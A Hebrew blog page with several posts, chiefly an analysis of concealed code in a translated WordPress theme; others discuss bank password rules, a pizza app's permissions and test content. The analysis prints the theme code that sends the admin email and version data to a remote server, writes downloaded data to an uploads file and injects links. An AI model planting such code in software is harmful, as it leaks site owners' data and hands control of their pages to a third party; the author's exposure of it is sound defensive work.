ראשית, קוד מוצפן שרץ על השרת שלי זה דבר לא מקובל בעיני, ואף שבהחלט ייתכן שלא מדובר בקוד זדוני אלא ברצונו של מתרגם התבנית למנוע אפשרות של הסרת הקרדיט המגיע לו, ייתכן והקוד שלו מכיל באג כזה או אחר שניתן לנצל על-מנת לגרום נזק. קוד מוצפן שכזה יקשה עליי, לאתר את התקלה ויפגע בי ובמשתמשים שלי שבפניהם אני אחראי על האתרים שלהם.

שנית, קוד שמדבר עם שרת מרוחק, שולח לו מידע ומקבל ממנו מידע, וכל זה מבלי ליידע אותי, נקרא קוד זדוני, גם אם כל מה שהוא עושה זה לשחק "מרקו-פולו" עם אותו שרת מרוחק. אבל היות והקוד מוצפן, אני לא יודע מה הוא עושה, ופוטנציאלית הוא יכול לעשות משהו שאני לא מעוניין בו. יתרה מזאת, גם האתר שאיתו הקוד מתקשר לא חסין מפריצה ולכן אין ערובה לכך שהפעולה התמימה, לכאורה, שהוא מבצע תישאר כזאת לאורך זמן.

אז בואו נתחיל.

נעשה שימוש בפונקציות wp_get_header ו-wp_get_footer שנראות כאילו שהן פונקציות מובנות של וורדפרס. הבעיה היא שהן לא. למעשה הן מכילות בדיקות שהפונקציות של הקוד הזדוני נמצאות במערכת:

function wp_get_header() {
	if(	function_exists('wp_get_footer') &&
		function_exists('wp_cache_verify') &&
		function_exists('wp_cache')) {
			get_header();
	}
}
function wp_get_footer() {
	get_footer();
	wp_cache_verify(wp_cache());
}

לאחר מכן, מתבצעת בדיקה של הימצאות הקוד הזדוני בתוך הקבצים שבהם הוא נשתל:

$t['template'] = pathinfo(get_bloginfo('template_directory'));
$credit_violation = '';
$footer = TEMPLATEPATH.'/footer.php';
$handle = @fopen($footer, 'r');
$footer = @fread($handle, @filesize($footer));
fclose($handle);
$funcs = TEMPLATEPATH.'/functions.php';
$handle = @fopen($funcs, 'r');
$funcs = @fread($handle, @filesize($funcs));
fclose($handle);

השלב הבא הוא שלב מאוד יפה. מתבצעת בדיקה, שמטרתה לגלות שכל החלקים של הקוד הזדוני במקום ולא עברו שינויים שנראו חשובים למי שכתב אותו. לכל שינוי או תוצאה ניתן מספר שלפיו ניתן יהיה לגלות איזה חלק בקוד שונה או הוסר:

if($footer && $funcs) {
	if(substr_count($footer, 'mastergate.co.il') < '2') {
		$credit_violation = '1';
	}
	if(substr_count('$footer', 'eval') != '1') {
		$credit_violation = '2';
	}
	if(substr_count('$footer', 'base64_decode') != '1') {
		$credit_violation = '3';
	}
	if(substr_count('$footer', '$cache') != '1') {
		$credit_violation = '4';
	}
	if(substr_count('$funcs', 'eval') < '1') {
		$credit_violation = '5';
	}
	if(substr_count('$funcs', 'base64_decode') < '1') {
		$credit_violation = '6';
	}
	if(substr_count('$funcs', 'ICAgICAgICBldmFsKGJhc2U2NF9kZWNvZGUoIloyeHZZbUZzSUNSZlUwVlNWa1ZTTENBa1gwZEZW') < '1') {
		$credit_violation = '7';
	}
	if(substr_count('$funcs', 'R1ExWVRnNE5USmNJaWtnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnYVdZb0pHTmhZMmhsY2w5MGFX') < '1') {
		$credit_violation = '8';
	}
	if(substr_count('$funcs', 'ICAgICAgICBldmFsKHN0cmlwc2xhc2hlcyhiYXNlNjRfZGVjb2RlKCJJQ0FnSUNBZ0lDQWtkRnNu') < '1') {
		$credit_violation = '9';
	}
	if(substr_count('$funcs', 'ICAgICAgICBnZXRfZm9vdGVyKCk7CiAgICAgICAgd3BfY2FjaGVfdmVyaWZ5KFwiZDNCZlkyRmphR1VvS1RzPVwiKTs=') < '1') {
		$credit_violation = '10';
	}
	if(!function_exists('wp_cache_http')) {
		$credit_violation = '11';
	}
	if(!WP_CACHE_VERSION) {
		$credit_violation = '12';
	}
} else {
	$credit_violation = '0';
}

בשלב הבא, הקוד אוסף מידע ומכניס אותו למערך. ברשותכם, אני רוצה לעבור על החלק הזה שורה אחרי שורה:

$wp_counts = wp_count_posts('post'); 

שורה זו שומרת במשתנה את מספר הפוסטים שנכתבו בבלוג. לא רק כאלה שפורסמו, אלא כל הפוסטים.

$t['qs'] = '?x='.time();

שורה זו שומרת את ערך הזמן של השרת, ולמעשה אומרת לנו, אם אחראי השרת קינפג אותו כמו שצריך, מה התאריך והשעה המדוייקים.

$t['qs'] .= 'version_wp='.get_bloginfo('version');

שורה זו שומרת את הגרסה של וורדפרס. ככל שהגרסה של הוורדפרס שלכם ישנה יותר, ככה יש יותר סיכוי שיפרצו אליכם לבלוג.

$t['qs'] .= 'version_php='.phpversion();

שורה זו שומרת את הגרסה של PHP. מידע זה יכול לתת לנו מושג כללי מה אני יכול ומה אני לא יכול לעשות בשרת, וכן לספק "מודיעין" על רמת ההגנה של השרת. פרט מידע זה אינו תמיד זמין לגולש המזדמן.

$t['qs'] .= 'wp_template='.$t[template][filename]; 

שורה זו שומרת את השם של התיקיה שבה שמורה ערכת העיצוב הנוכחית. ככה, אם הקוד הזדוני נמצא ביותר מערכת עיצוב אחת, ניתן לדעת באיזה ערכה בדיוק.

$t['qs'] .= 'wp_posts='.$wp_counts('publish');

שורה זו לוקחת את המשתנה שמכיל את מספרם של כל הפוסטים שיש לנו בבלוג, ושומרת מתוכם רק את מספר הפוסטים שפורסמו. זהו מדד טוב לכמה שהבלוג מתעדכן בתדירות כזאת או אחרת. בנוסף, קיימת, לכאורה, הפרה של זכויות יוצרים, מספר זה נותן מידע על מספר העמודים שבהם מתרחשת הפרה זו.

$t['qs'] .= 'admin_email='.get_bloginfo('admin_email');

שורה זאת שומרת את כתובת האימייל של המשתמש שמוגדר כמנהל בבלוג. מדובר בפרט מידע שלא ניתן לדלות אותו מביקור פשוט בבלוג. פוטנציאלית, אם הקוד הזדוני הזה רץ על גבי אלף בלוגים, אז למפעיל הקוד ישנן אלף כתובות דואר אלקטרוני הידועות כפעילות ונמצאות בשימוש במידה כזאת או אחרת. כאן זה גם המקום להזכיר, שכפי שלא מומלץ לעבור תמיד ממשתמש ה-root, כך גם בוורדפרס, מומלץ ליצור משתמש נוסף שאינו מנהל ולעבוד ממנו בכל עת שאתם לא זקוקים להרשאות המלאות שגישת המנהל מאפשרת.

$t['qs'] .= 'violation='.$credit_violation;

זוכרים את מספר ההפרה שדיברנו עליו מקודם? גם מספר זה נשמר.

$t['qs'] .= 'request_uri='.$_SERVER['REQUEST_URI'];

כאן הקוד פונה לשרת ומבקש ממנו את הכתובת היחסית ביחס לתיקיה ה-/ שזמינה לגישה דרך האינטרנט.

$t['qs'] .= 'domain='.$_SERVER['SERVER_NAME'];

וכאן הקוד מבקש את שם השרת או יותר נכון את הכתובת שלו. הפקודה הזאת והפקודה הקודמת משיגים לנו ביחד את הכתובת הישירה של הדף.

לאחר שכל המידע הזה נאסף, כל המידע במערך $t מקודד, ומוכנס למחרוזת שמכילה כתובת של שרת, תיקיה על השרת, וסיומת .html. במילים אחרות, הקוד מייצר כתובת של דף html שיושב על שרת מרוחק, כאשר הכתובת מורכבת מכל הפרטים שנאספו מהבלוג שלו.

לפני שנמשיך, קצת מידע שיסייע להבין מה זה ולמה זה טוב. אם ננסה להכנס לרגע לראשו של כותב קוד זדוני, המטרה היא להצליח לבצע את הפעולה. במקרה הזה, נראה שקיימת תקשורת, ובשלב הזה של ניתוח הקוד, חד כיוונית, לכאורה, עם שרת מרוחק. מובן מאליו שהקובץ שהקוד מייצר מתוך פרטי המידע של הבלוג שלנו לא באמת קיים. אבל בגלל האופן שבו שרתי אינטרנט מדברים זה עם זה, אנחנו יכולים לצפות למצב שנפנה לשרת כדי לדרוש את הקובץ הזה, למשל באמצעות פקודת GET. השרת יחזיר לנו תגובה כזאת או אחרת. ניתן לשנות את התגובות הללו ולהתאים אותן למה שאנחנו מצפים להשיג באמצעותן. ניתן גם להגדיר את השרת המרוחק שישמור את כל הפניות הללו (כפי שאנחנו יכולים לצפות במידע סטטיסטי על הגולשים שנכנסו לאתר שלנו), ומכיוון שהן כולן באות במבנה מוגדר, ניתן לשלוף מתוך, ובמקרה שלפנינו, באמצעות base64_decode, את המידע הזה. זוכרים את הסיפור על יצרניות תוכנה לסלולר ששמרו מידע על מיקום המכשירים והעבירו אותו לשרתי היצרניות? אז משהו כזה.

טוב, ממשיכים. בשלב הזה, הקוד בודק האם התקבל ערך של הפרת זכויות יוצרים (אם הפונקציה שמקצה את הערכים הללו סיימה לרוץ מקודם, תמיד יהיה איזשהו ערך, בפרט, במידה ואין הפרה, מבחינת האופן שזה מוגדר בקוד, יוחזר 0). מתבצעת פנייה לפונקציה שעושה את שדיברנו עליו למעלה. עוד נחזור אליה. לאחר מכן מתבצעת בדיקה של הימצאות כל חלק הקוד הזדוני, ובמידה וקיים הבדל בין מה שצריך להיות לבין מה שנמצא בפועל, מוצג באנר אדום בתחתית המסך שמכריז כי "אתר זה הפר את זכויות היוצרים בתבנית":

if($credit_violation != '') {
	if(function_exists('wp_cache_http'))
		wp_cache_http('$t[action]');
		$cache = $output_cache;
		if($cache) {
			if($cache = @base64_decode($cache)) {
				$cache = @unserialize($cache);
				echo '$cache[html_reply]';
			}
		} else {
		echo '<div ><strong>תבנית זאת הוסבה לעברית ע'י מאסטרגייט. אתר זה הפר את זכויות היוצרים בתבנית. חזרה לוורדפרס בעברית</strong></div>';
		echo '<!-- violation: $credit_violation -->';
	}
}

לא ברור מה המימד המשפטי של טענה זו, בפרט אם התבנית מופצת במקור (לפני התרגום) תחת רשיון GPL, אבל זהו לא פוסט משפטי וגם הכותב אינו משפטן.

אחד הדברים שהרשימו אותי בקוד הזה, הוא שכל שלב בודק ומוודא שהשלבים הדרושים להצלחתו התקיימו אף הם בהצלחה. אין לי דרך לקבוע זאת בשום מידה של וודאות, אבל אפשר שכתיבת הקוד שמגן על התבנית מפני הסרת הקרדיט, לקח זמן רב בכמה סדרי גודל מאשר הזמן שנדרש על-מנת להתאים את התבנית לעברית.

במידה ויצירת הכתובת לשרת המרוחק הצליחה, הקוד שולח בקשת GET לאותו שרת מרוחק, ושומר את התגובה שהוא מקבל. בעצם מתבצעת השוואה בין הקוד שנשלח לקוד שהתקבל. ייתכן וזאת עוד דרך לבדוק האם לא חסמתי את הקוד מפני תקשורת בלתי מוגבלת לשרת המרוחק שלו.

if(!$cache) {
	$pos = strpos($url, '/', 7);
	$parsed_url['uri'] = substr($url, $pos);
	$parsed_url['host'] = str_replace('http://', '', substr($url, 0, $pos));
	$fp = @fsockopen('$parsed_url[host]', 80, $errno, $errstr, 1);
	if (!$fp) {
		$error = '1';
	} else {
		$cache = '';
		$request = 'GET $parsed_url[uri] HTTP/1.1\r\n';
		$request .= 'Host: $parsed_url[host]\r\n';
		$request .= 'Referer: $_SERVER[SERVER_NAME]\r\n';
		$request .= 'Connection: Close\r\n\r\n';
		fwrite($fp, $request);
		while (!feof($fp)) {
			$cache .= fgets($fp, 9216);
		}
		fclose($fp);
		if(substr_count($cache, '\n\r') gt;= 1) {
			$cache = explode('\n\r', '$cache');
			$cache = str_replace(array('\r','\n'), '', '$cache[1]');
		}
	}
}

$output_cache = $cache; 

ואז מגיע השלב שבו העניינים באמת מתחילים להיות מעניינים.

$t['dir_upload'] = wp_upload_dir();

הקוד שומר במשתנה את התיקיה שמשמשת להעלאת קבצים מערכת העיצוב. משמעות הדבר היא שפקודות שמופעלות מתוך ערכת העיצוב יכולות לכתוב לתוך תיקיה שנמצאת על השרת שלי. אבל הקוד שאנחנו מנתחים הוא חלק מהקוד של ערכת העיצוב, ולמה שהוא יזדקק לגישה לתיקיה שאפשר לכתוב אליה? האם הוא רוצה לכתוב קבצים לתיקיה כלשהי על השרת שלי?

בשלב הזה הקוד שוב מבצע קריאה לשרת המרוחק, ושומר את התגובה. לאחר מכן, הוא מייצר קובץ עם סיומת jpg, מכניס אליו את המידע שהוא משך מן השרת המרוחק, קורא לו בשם שנגזר מפרטי השרת שלי, ושומר אותו בתיקיית ההעלאות. לאחר שסיים לעשות זאת, הוא מושך את התוכן השמור בקובץ לתוך משתנה:

$cacher_filename = substr(md5('$_SERVER[SERVER_NAME]'), 0, 10).'.jpg';
$cacher_path = $t['dir_upload']['path'].'/$cacher_filename';
$cacher_time = @filemtime($cacher_path);
$cacher_life = '3600';
if (!$cacher_time || ((time()-$cacher_time) gt;= $cacher_life)){
	wp_cache_http('$t[action]');
	$cache = $output_cache;
	if($cache) {
		$handle = @fopen($cacher_path,'x+');
		@fwrite($handle,$cache);
		@fclose($handle);
	}
} else {
	$cache = @file_get_contents($cacher_path);
}

היות ומדובר בקוד שאמור לרוץ בכל טעינה של footer.php, ישנה הגדרה שמטרתה למנוע מהקוד לרוץ בכל פעם, אלא רק במרווחי זמן קבועים (זה התנאי שבקטע הקוד למעלה).

נעשה סיכום קצר. עד עכשיו הקוד הזה, הספיק לבחון את תקינותו, לדבר עם שרת מרוחק ולדווח לו על פרטי השרת שלי (וגם אם לא, זה בהחלט אפשרי, כפי שכבר תיארתי למעלה), להוריד מידע מהשרת המרוחק, ולשמור מידע זה במשתנה. השלב הבא, הוא כצפוי, לעשות שימוש במידע השמור במשתנה:

if($cache) {
	if($cache = @base64_decode($cache)) {
		$cache = @unserialize($cache);
		if(strlen($cache[custom_credit]) >= 5) {
			$t['default_string'] = '$cache[custom_credit]';
		}
		if($cache['status'] == '0') {
			$cache_error = '1';
			$cache_lock = '1';
		} else {
			$total_links = sizeof($cache['links']);
			$links = '$t[default_string]';
			if($total_links > 0) {
				$i = '0';
				foreach($cache['links'] as $k => $v) {
					$i++;
					if($v->l_path == '' || $v->l_path == $_SERVER['REQUEST_URI']) {
						$v->l_href = htmlspecialchars(strip_tags($v->l_href));
						$v->l_title = htmlspecialchars(strip_tags($v->l_title));
						$v->l_anchor = htmlspecialchars(strip_tags($v->l_anchor));
						$links .= ' | ';
						$links .= '<a class='mglnk_l$v->lid' href='$v->l_href' title='$v->l_title'';
						if($v->l_nofollow == '1')
							$links .= ' rel='nofollow'';
						$links .= '>$v->l_anchor</a>';
					}
		}
	}
	$t['links'] = '$links';
	if($cache[credit] == '0') {
		$t['links'] = '';
	}
	}
	} else {
		$cache_error = '1';
	}
	} else {
		$cache_error = '1';
	}

המידע, ובמקרה הזה אוסף של לינקים, והמזהים שלהם, הופך לקוד HTML ונשמר במחרוזת. מחרוזת זו מחליפה את המחרוזת שהייתה שם קודם ומחזיקה את הפרטים של מתרגם התבנית והלינקים שהגיעו עם התבנית. או משאירה את המצב כפי שהיה, במידה והפעולה שלה נכשלת:

if($cache_error == "1") {
	$t['links'] = "$t[default_string]";
}
if($cache_lock == "1") {
	if($cache['lock_html'] != "") {
		$t['links'] = "$cache[lock_html]";
	} else {
		$t['links'] = '<div style=""><strong>תבנית זאת הוסבה לעברית ע"י <a href="" style="color: white;">מאסטרגייט</a>. <a href="" style="color: white;">אתר זה הפר את זכויות היוצרים בתבנית. חזרה ל</a></strong></div>';
		$t['links'] = '<div style=""><strong&>תבנית זאת הוסבה לעברית ע"י <a href="" style="color: white;"&>מאסטרגייט&<
	}
}

סיכום

אז מה היה לנו כאן? הצפנת הקוד?-צ'ק! התחזות לפונקציות מערכת על-מנת להקטין חשש?-צ'ק! איסוף מידע על הבלוג ועל השרת?-צ'ק! שליחת מידע (או לכל הפחות אפשרות לעשות זאת) לשרת מרוחק?-צ'ק! יצירת קבצים חדשים שמבוססים על המידע שהתקבל מהשרת המרוחק בתגובה?-צ'ק! פענוח המידע שנשמר בקבצים שהתקבלו משרת מרוחק?-צ'ק! הדפסה של מידע זה בבלוג?-צ'ק!

הפוסט ניתוח הקוד של מאסטרגייט פורסם על ידי BoRIS בבלוג המכללה

לבנק לאומי, יש מדיניות די נוקשה בכל הנוגע לסיסמאות – נוקשה, אך מטומטמת למדי. הבנק מאלץ את משתמשיו להחליף סיסמאות בכל רבעון (שזה מצויין) אבל מגדיר רשימת כללים מטופשת למדי שהופכת, בסופו של יום, את הסיסמאות למספרים עלובים. כך למשל, אם תנסו להגדיר באתר האינטרנט של לאומי את הסיסמא A!a234u0d הסיסמא תידחה בנימוס כי היא מכילה 3 ספרות עוקבות. לעומתה 1q2w3e תתקבל בשמחה. השירות הטלפוני מעצבן עוד יותר כי הוא מגביל את אורך הסיסמא ל 6 תווים, בנוסף לעוד סט כללים מטופש. וכך, יום אחד המליץ לי הבנקאי בשירות להרכיב את הסיסמא המוצלחת 292929 (כי גרתי בבית שמספרו 29).
בסופו של דבר, היות ואני בדרך כלל לא משתמש בשירותי לאומי-קול כמובן שלא זכרתי את הסיסמא שלי וכך, לאחר 3 הקלדות כושלות הועברתי אל בנקאי שאמור היה לאמת את זהותי ואז להחזיר אותי למערכת לטובת הרכבת סיסמא חדשה. השיחה התנהלה בערך ככה:
בנקאי: שם?
אני: כך וכך
בנקאי: מספר חשבון?
אני : זה וזה
בנקאי: טוב, אני מעביר אותך… הנה סט חוקים להרכבת סיסמא.

אני רוצה להאמין שהתהליך היה קצר כל כך כי התקשרתי ממספר הטלפון המקושר אל חשבון הבנק שלי, אבל כשחושבים על זה, אם מישהו גנב לכם את התיק שבו הסלולר והארנק הרי שאלו מספיק פרטים כדי להשיג גישה אל חשבון הבנק שלכם.

משהסתיימה הסאגה הזו, והגעתי סוף סוף אל הנציג התברר שגם לו אין שום מושג מהם החיובים המדוברים והוא שלח אותי להתקשר אל מוקד לאומי-קארד – ושוב, מערכת ניתוב קולי לא ידידותית שמי שתכנן אותה לא הפגין חוכמה יתרה או שהוא סתם עקשן.
ראשית, יש להקליד את מספר תעודת הזהות, ועד כאן הכל טוב ויפה, רק שהבקשה הבאה היא להקליד את 4 הספרות האחרונות של מספר כרטיס האשראי. אם לאומי קארד היו טורחים להעביר אל בנק לאומי קצת יותר מידע הייתי יודע באיזה כרטיס מדובר אבל מבלי לדעת הנחתי שאם פשוט אלחץ # מבלי להקליד מספר אופנה לנציג תחת הסיווג של "שאלה כללית". לצערי – לא כך הדבר, ורק אחרי 8 הקלדות של מספרים שגויים, מספרים ארוכים במיוחד או ריקים הופנתי כלאחר כבוד אל נציגה.

רק שמסתבר שלאומי כארד עובדת בצורה חובבנית לא רק אל מול הבנק אלא גם אל מול המערכות הפנימיות שלה. במערכת אידיאלית הטלפנית הייתה מקלידה את מספר תעודת הזהות שלי ומקבלת רשימה של הכרטיסים המשוייכים ועיסקאות אחרונות, אבל פה – היא נותרה ללא מענה – לא מסוגלת לראות את שני החיובים הללו. גם כשהצעתי לתת לה את מספר האסמכתה, אולי על פיו תוכל לקבל פירוט, הסבירה לי הטלפנית שאין באפשרותה לעבוד בצורה זו.

בסופו של דבר הקלדתי את מספרי האסמכתות במנוע החיפוש של הבנק והמספר הראשון החזיר את הכרטיס הרלוונטי, ברגע שידעתי באיזה כרטיס מדובר הבנתי במה מדובר – מסתבר שבלאומי קארד, במקום לחייב הוצאות של עיסקאות בחו"ל פעם בחודש ביחד עם החיוב של הכרטיס, מבצעים אותן מקומית אל מול הבנק בתאריך העיסקה – התוצאה כאמור – עיסקה על הסכום השקלי ללא שום יחוס או הסבר. מכשהתבררה השיטה גם החיוב השני התברר במהירות ואחרי כ 5 דקות נוספות הצלחתי לנתב את הטלפנית כך שתגיע אל התוצאה הזו בעצמה.

איך זה היה צריך להיות
בעולם אידיאלי – לא הייתי אמור להתקשר בכלל, אלא לקבל את המידע הזה ישירות מהמערכת של לאומי דיגיטל. לרוע המזל, מלבד מספר מצומצם של עיסקאות מתועדות, ברוב המקרים אי אפשר לדעת במערכת של בנק לאומי מי, מה ולמה. הדבר מרתיח במיוחד כאשר מדובר בבנק לאומי וחטיבת כרטיסי האשראי שלו – לאומי כארד – שני גופים שקשורים זה לזה ואמורים לדעת לפעול היטב ביחד.
על חיוב שכזה, היה אמור להופיע, לכל הפחות, רישום בסיסי המסביר באיזה כרטיס בוצע החיוב ובאיזה בית עסק – מידע שהוא חיוני והכרחי – אך לא קיים לצערי.

הפוסט במלתעות לאומי פורסם על ידי ~ניצן~ בבלוג המכללה

ניגשתי אל עמוד ההורדה של האפליקציה, וכהרגלי בקודש, הצצתי קודם כל בהרשאות שהאפליקציה דורשת לצורך ההתקנה – וקיבלתי חום. יש שתי תשובות הגיוניות לרשימת ההרשאות הנדרשת, הראשונה – שהמפתח של דומינוס פשוט העתיק את הקטע שמטפל בהרשאות כמות שהוא מתוך איזושהי דוגמא. השניה – שמשהו רע מתרחש ממתחת למכסה המנוע.

אז הנה רשימת ההרשאות, כולל הסבר מה אפשר לעשות עם כל אחת מהן. יש גם צילומסך לטובת העתיד.

HARDWARE CONTROLS – TAKE PICTURES AND VIDEOS

כן, פשוטו כמשמעו – כל זמן שהאפליקציה רצה, היא יכולה לגשת אל רכיב המצלמה לצלם תמונות ולהקליט וידאו. למה זה טוב? לא יכול לראות שום סיבה בשביל זה. מה אפשר לעשות עם זה? ובכן, אם את נוהגת להזמין את הפיצה שלך בעירום, הייתי חושב פעמיים לפני שימוש באפליקציה הזו.

YOUR LOCATION ( COARSE (NETWORK-BASED) LOCATION & FINE (GPS) LOCATION )

השימוש במיקום יכול לעזור על מנת לקצר את תהליך ההזמנה ולטעון מראש את הסניף הרלוונטי. כך, אם אתם בחיפה או באילת – ברגע שתפתחו את האפליקציה הסניף הרלוונטי כבר יופיע מסומן. מה עוד אפשר לעשות עם זה? לפלח את הרגלי הצריכה שלכם על בסיס המיקום ולהשתמש בזה כאלמנט "שיווקי". כל פעם שאתם אצל יוסי אתם מזמינים פיצה? אז הנה, עכשיו אתם אצל יוסי, אולי תרצו להזמין פיצה.

NETWORK COMMUNICATION – FULL INTERNET ACCESS

היות וההודעה צריכה להישלח אל הסניף בסופו של יום, האפליקציה חייבת גישה לאינטרנט. מצד שני, גישה מלאה אומרת שהיא גם יכולה להעלות את אותן התמונות והסרטונים שהיא צילמה בסעיף הראשון.

NETWORK COMMUNICATION – VIEW NETWORK STATE

ההרשאה הזו מאפשרת לאפליקציה להציץ לכם לרשת, או למעשה, לכל הרשתות. המפתח יכול לדעת דרך איזו רשת אתם מחוברים (אלחוטי, סלולרי) אבל יתכן שהוא יכול לקבל מידע נוסף. אני לא מפתח אנדרואיד ולא מכיר את ההרשאה לעומק, אבל אם האפליקציה מסוגלת למשוך את ה ssid למשל, הרי שבשילוב עם רכיב ה gps (מיקום מדוייק, זוכרים) אפשר לקבל במהירות רבה רשימה של רשתות אלחוטיות על פי מיקום.

PHONE CALLS – READ PHONE STATE AND IDENTITY

ההרשאה הזו מאפשרת לאפליקציה לבדוק את מספר הטלפון ואת המזהה הסיריאלי שלו (IMEI). זה כלי מצויין אם אתם רוצים לבצע קישור של 1:1 במסד הנתונים כדי לזהות את ההזמנה שלכם עם החשבון שלכם. אבל יש פה יותר מזה, ההרשאה הזו מאפשרת לאפליקציה לזהות האם אתם נמצאים בשיחה ואם כן – מה המספר איתו אתם משוחחים. תרחיש אפוקליפטי? דומינוס יכולים לזהות בכל פעם שאתם מחייגים אל פיצה האט או כל מסעדה אחרת שעושה משלוחים ולפלח את המידע הזה.

נשמע קצת פרנואידי? מי שמקבל את פירוט האשראי שלו בדואר בוודאי מכיר את הקופונים הקטנים הללו המצויים בתחתית העמוד. לפני כ 8 שנים רשת בורגראנץ' טרחה ביקשה מחברות האשראי שיוסיפו קופון מבצע שכזה ללקוחות שהזמינו במהלך החודש פיצה אבל לא המבורגר. עכשיו, המידע הזה יכול להגיע ישירות אל הידיים של דומינוס והיא אפילו לא צריכה את הגורם המתווך.

STORAGE – MODIFY/DELETE USB STORAGE CONTENTS MODIFY/DELETE SD CARD CONTENTS

בסדר, סוג של הרשאה שמאפשרת לאפליקציה לשמור מידע אל הזיכרון של המכשיר, אני מניח שנעשה פה שימוש הן בשביל קאשינג והן בשביל לזכור מידע קודם שהוזן.

YOUR ACCOUNTS – DISCOVER KNOWN ACCOUNTS

זו ההרשאה המלחיצה ביותר – היא מאפשרת לאפליקציה לזהות את כל החשבונות המוגדרים במכשיר ולקשר אותם אליכם. מלבד חשבון הגוגל שלכם (אותו בוודאי יש לכם אם הורדתם את התוכנה מהמרקט) האפליקציה יכולה לזהות גם את חשבון הטוויטר והפייסבוק שלכם. אם מותקן לכם חשבון exchange אירגוני, הרי שגם המידע הזה זמין לאפליקציה.

HARDWARE CONTROLS – CONTROL VIBRATOR

ההרשאה הזו מאפשרת לאפליקציה להשתמש ביכולות הרטט של המכשיר, מצויין אם רוצים לתת נוטיפיקציה שהיא לא קולית.

לסיכום
בסופו של יום, כשבודקים את רשימת ההרשאות, יש פה משהו מלחיץ, דומינוס יכולה לעקוב אחרי איפה אני, מה אני עושה, עם מי אני מדבר ואפילו לאשש את זה עם תמונות ווידאו. כיצד המידע הזה מגיע לידי מימוש בפועל? אין לי מושג, אני מאוד רוצה להאמין שהמפתח פשוט זרק בלוק קוד בלי לשים לב למה הוא עושה, אבל בהתחשב בפוטנציאל המסחרי שיש למידע שכזה, אני לא אתפלא אם זה מידע שנאסף ומפולח מתוך מחשבה מקדימה.

עדכון
מסתבר שאני לא היחיד ששם לב לנושא, מישהו שאל את דומינוס בעצמו בעמוד שלהם לגבי ההרשאות וקיבל תשובות מבישות עד מביכות

הנושא הוזכר גם בתגובות לפוסט הזה ב iandroid .

הפוסט הפיצה הזו חמה, מדי פורסם על ידי ~ניצן~ בבלוג המכללה

ככלי ראשוני להזנת תוכן ולהעמסת נפח הלורם איפסום ממלא את תפקידו לא רע בכלל, בטח יותר טוב מאותו "דג קטן שט בים" שמשוכפל בוורד אלפי פעמים כדי לייצר פיסקה. הבעיה היא, שאתרי אינטרנט אינם ספרים, והם מכילים הרבה יותר אלמנטים מרק פיסקאות של טקסט.

רק לפני מספר ימים ישבתי עם אדם שהגיש פרוייקט לזירת פרילאנסרים כזו או אחרת ולקח את ההצעה "המשתלמת ביותר" (כלומר הבחור שרצה הכי פחות). היות והמעצב השתמש רק בלורם איפסום כדי להזין טקסט אל תוך הסקיצות, הרי שאותו מפתח התיחס אך ורק לטקסט הזה וטרח לעצב רק אותו. כשאותו אדם התחיל להזין את התוכן האמיתי הוא גילה לצערו שיש לא מעט תיקונים שיש לעשות על מנת שהטקסט יוצג כמו שצריך. מישהו פעם שאל אותי מה ההבדל בין תוכניתן למפתח, אני חושב שהדוגמה הזו היא דוגמה מצויינת להבדל שכזה.

אז איזה אלמנטים יש לנו בטקסט?
פיסקאות – זה הקטע הבסיסי ולורם איפסום רגיל מטפל בזה
ציטטה – לציטטה יש טיפול דיפולטי שמוגדר בדפדפן עצמו, אבל הוא בסיסי למדי ולעיתים נרצה להתאים אותו
קוד – בלוק קוד הוא בעייתי בעיקר בעברית כי לרוב נרצה להשתמש בו כדי להציג טקסט באנגלית משמאל לימין, אך היות ומדובר באלמנט שמוצג inline ולא כ block זה אחד האלמנטים המתסכלים יותר לטיפול.
טבלאות – הרבה פעמים אני פוגש טבלאות נוראיות, ברמת המסגרת ותו לא, אבל טבלאות הן אלמנטים עם שלל תתי אלמנטים שדורשים לא מעט התיחסות. אני אקדיש לטבלאות פוסט בעתיד הקרוב.
רשימות – רשימות יכולות להיות ממוספרות או בתבליטים, אבל גם לתבליטים ניתן להגדיר שלל סוגים, צריך להתיחס כמובן גם לתתי רשימות וכן הלאה.
תמונות – כשמכניסים תמונה לפוסט בוורדפרס ניתן לבחור האם היא תוצמד לימין, לשמאל, למרכז או לא תוצמד כלל. אפשר להגדיר שיהיה לה כיתוב (caption) או שתהייה ללא – לכל אחת מההגדרות הללו, יש צורך בהגדרה עיצובית תואמת. דבר נוסף שיש לקחת בחשבון – הגדרת גבול לתמונה – פעמים רבות מתוך חוסר תשומת לב לא מבטלים את הגבול לתמונה וברגע שהיא קישור, בדפדפנים פחות מתקדמים, היא תוקף אוטומטית במסגרת כחולה.
לינק – ללינק עצמו יש 4 מצבים – רגיל, במעבר עכבר, בתגובה לקליק ולינק שכבר ביקרנו בו – הדיפולט, לרוב מכוער.
משקלים ונטיות – האם ידעתם שהגדרה של טקסט בערבית ככתב נטוי (italic) – תגרום לטקסט להופיע כריבועים? מסתבר שרוב הפונטים הערבים לא תומכים בכתב נטוי בערבית (ככל הנראה זה לא באמת קיים) ולכן הטקסט מוצג כריבועים המוכרים מבעיות קידוד. מי שלא לוקח דבר שכזה בחשבון, או לא מודע לנושא עלול למצוא עצמו מתוסכל למדי. אם אתם משתמשים בפונטים מוטמעים, תגלו פעמים רבות כי פונטים שכאלו אינם מכילים את כל סוגי המשקלים אלא מחולקים לפונטים נפרדים. כך יש פונט אחד עבור bold, פונט אחר עבור normal או italic וכדומה. אם לא לוקחים דברים שכאלה בחשבון בזמן בדיקות – התוצאה עלולה להתגלות מאוחר מדי.

אז מה הפיתרון?

הפיתרון הוא כמובן פוסט בדיקה שרצוי, מומלץ ואף חובה להתקין לפחות על שרת הבדיקות כדי לראות שכל האלמנטים הגרפיים מעוצבים כנדרש. לטובת העיניין אני מצרף פה שני קבצים – קובץ css המכיל את מירב הסלקטורים שיכולתי לחשוב עליהם וכדאי לקחת בחשבון. בנוסף, קובץ html המכיל תוכן של פוסט וורדפרס אותו יש לפרסם כפוסט חדש. חשוב לשים לב שאת הפירסום יש לבצע במצב HTML ולא במצב עורך עשיר. כמו כן, הקפידו לפתוח את קובץ הטקסט בעזרת תוכנה כדוגמת Notepad ולא Word שעלולה לזרוק זבל עיצובי משלה אל תוך הקוד.

שכחתי אלמנט כלשהו? יש לכם משהו להוסיף? בתגובות.

הפוסט איפסום חייב למות פורסם על ידי ~ניצן~ בבלוג המכללה

כדי שפורץ יצליח להציג את העמוד שלו, צריכים להתקיים שני תנאים – הראשון, שהוא יוכל לשים קובץ אצלכם בתיקיה. השני – שהשרת ידע שהקובץ שלו צריך להיטען ראשון.

